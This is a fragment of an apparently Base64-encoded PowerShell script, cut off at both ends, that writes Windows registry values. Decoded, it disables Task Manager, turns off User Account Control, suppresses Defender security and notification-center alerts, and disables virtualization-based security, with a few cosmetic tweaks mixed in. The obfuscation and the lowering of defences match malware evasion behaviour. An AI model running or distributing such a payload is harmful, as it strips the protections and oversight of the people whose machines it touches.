HIAaQB2AGUAcgBzACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAEcAcgBhAHAAaABpAGMAcwBEAHIAaQB2AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiAEgAdwBTAGMAaABNAG8AZABlACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABHAHIAYQBwAGgAaQBjAHMARAByAGkAdgBlAHIAcwAiACAALQBOAGEAbQBlACAAIgBIAHcAUwBjAGgATQBvAGQAZQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcACIAIAAtAE4AYQBtAGUAIAAiAEcAcgBhAHAAaABpAGMAcwBEAHIAaQB2AGUAcgBzACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAEcAcgBhAHAAaABpAGMAcwBEAHIAaQB2AGUAcgBzACIAIAAtAE4AYQBtAGUAIAAiAEgAdwBTAGMAaABNAG8AZABlACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABHAHIAYQBwAGgAaQBjAHMARAByAGkAdgBlAHIAcwAiACAALQBOAGEAbQBlACAAIgBIAHcAUwBjAGgATQBvAGQAZQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzACIAIAAtAE4AYQBtAGUAIAAiAFMAeQBzAHQAZQBtACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACIARABXAG8AcgBkACIAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwAiACAALQBOAGEAbQBlACAAIgBTAHkAcwB0AGUAbQAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAiACAALQBOAGEAbQBlACAAIgBFAHgAcABsAG8AcgBlAHIAIgAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwARQB4AHAAbABvAHIAZQByACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AQwBlAG4AdABlAHIAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABFAHgAcABsAG8AcgBlAHIAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBDAGUAbgB0AGUAcgAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAiACAALQBOAGEAbQBlACAAIgBFAHgAcABsAG8AcgBlAHIAIgAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwARQB4AHAAbABvAHIAZQByACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AQwBlAG4AdABlAHIAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABFAHgAcABsAG8AcgBlAHIAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBDAGUAbgB0AGUAcgAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAIgAgAC0ATgBhAG0AZQAgACIATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBFAG4AaABhAG4AYwBlAGQATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACIARABXAG8AcgBkACIAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAFMAZQBjAHUAcgBpAHQAeQAgAEMAZQBuAHQAZQByAFwATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAEUAbgBoAGEAbgBjAGUAZABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAIgAgAC0ATgBhAG0AZQAgACIATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBFAG4AaABhAG4AYwBlAGQATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgACIARABXAG8AcgBkACIAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAFMAZQBjAHUAcgBpAHQAeQAgAEMAZQBuAHQAZQByAFwATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAEUAbgBoAGEAbgBjAGUAZABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgAiACAALQBOAGEAbQBlACAAIgBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAgAFMAZQBjAHUAcgBpAHQAeQAgAEMAZQBuAHQAZQByAFwATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAiAEQAVwBvAHIAZAAiACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADEAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAIgAgAC0ATgBhAG0AZQAgACIATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIgAgAC0ATgBhAG0AZQAgACIARABpAHMAYQBiAGwAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAIgBEAFcAbwByAGQAIgAgAC0AVgBhAGwAdQBlACAAMQAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACIAIAAtAE4AYQBtAGUAIAAiAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACIAIAAtAE4AYQBtAGUAIAAiAEUAbgBhAGIAbABlAEwAVQBBACIAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBFAG4AYQBiAGwAZQBMAFUAQQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAwACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAiACAALQBOAGEAbQBlACAAIgBFAG4AYQBiAGwAZQBMAFUAQQAiACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AIgAgAC0ATgBhAG0AZQAgACIARQBuAGEAYgBsAGUATABVAEEAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGEAdABhACAAQwBvAGwAbABlAGMAdABpAG8AbgAiACAALQBOAGEAbQBlACAAIgBBAGwAbABvAHcAVABlAGwAZQBtAGUAdAByAHkAIgAgAC0AVgBhAGwAdQBlACAAMQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEQAYQB0AGEAIABDAG8AbABsAGUAYwB0AGkAbwBuACIAIAAtAE4AYQBtAGUAIAAiAEEAbABsAG8AdwBUAGUAbABlAG0AZQB0AHIAeQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGEAdABhACAAQwBvAGwAbABlAGMAdABpAG8AbgAiACAALQBOAGEAbQBlACAAIgBBAGwAbABvAHcAVABlAGwAZQBtAGUAdAByAHkAIgAgAC0AVgBhAGwAdQBlACAAMQAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQAKAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEQAYQB0AGEAIABDAG8AbABsAGUAYwB0AGkAbwBuACIAIAAtAE4AYQBtAGUAIAAiAEEAbABsAG8AdwBUAGUAbABlAG0AZQB0AHIAeQAiACAALQBUAHkAcABlACAARABXAG8AcgBkACAALQBWAGEAbAB1AGUAIAAxACAALQBGAG8AcgBjAGUACgAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBMAE0AOgBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABTAGUAYQByAGMAaAAiACAALQBOAGEAbQBlACAAIgBBAGwAbABvAHcAQwBvAHIAdABhAG4AYQAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACIAIAAtAE4AYQBtAGUAIAAiAEEAbABsAG8AdwBDAG8AcgB0AGEAbgBhACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEYAbwByAGMAZQAKAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiAEgASwBDAFUAOgBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABTAGUAYQByAGMAaAAiACAALQBOAGEAbQBlACAAIgBBAGwAbABvAHcAQwBvAHIAdABhAG4AYQAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAAoAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACIAIAAtAE4AYQBtAGUAIAAiAEEAbABsAG8AdwBDAG8AcgB0AGEAbgBhACIAIAAtAFQAeQBwAGUAIABEAFcAbwByAGQAIAAtAFYAYQBsAHUAZQAgADAAIAAtAEYAbwByAGMAZQAKAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwARABlAHYAaQBjAGUARwB1AGEAcgBkACIAIAAtAE4AYQBtAGUAIAAiAEUAbgBhAGIAbABlAFYAaQByAHQAdQBhAGwAaQB6AGEAdABpAG8AbgBCAGEAcwBlAGQAUwBlAGMAdQByAGkAdAB5ACIAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABEAGUAdgBpAGMAZQBHAHUAYQByAGQAIgAgAC0ATgBhAG0AZQAgACIARQBuAGEAYgBsAGUAVgBpAHIAdAB1AGEAbABpAHoAYQB0AGkAbwBuAEIAYQBzAGUAZABTAGUAYwB1AHIAaQB0AHkAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwARABlAHYAaQBjAGUARwB1AGEAcgBkACIAIAAtAE4AYQBtAGUAIAAiAEUAbgBhAGIAbABlAFYAaQByAHQAdQBhAGwAaQB6AGEAdABpAG8AbgBCAGEAcwBlAGQAUwBlAGMAdQByAGkAdAB5ACIAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUACgBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsAQwBVADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABEAGUAdgBpAGMAZQBHAHUAYQByAGQAIgAgAC0ATgBhAG0AZQAgACIARQBuAGEAYgBsAGUAVgBpAHIAdAB1AGEAbABpAHoAYQB0AGkAbwBuAEIAYQBzAGUAZABTAGUAYwB1AHIAaQB0AHkAIgAgAC0AVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0AVgBhAGwAdQBlACAAMAAgAC0ARgBvAHIAYwBlAAoACgBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABEAGUAdgBpAGMAZQBHAHUAYQByAGQAIgAgAC0ATgBhAG0AZQAgACIAUgBlAHEAdQBpAHIAZQBQAGwAYQB0AGYAbwByAG0AUwBlAGMAdQByAGkAdAB5AEYAZQBhAHQAdQByAGUAcwAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwA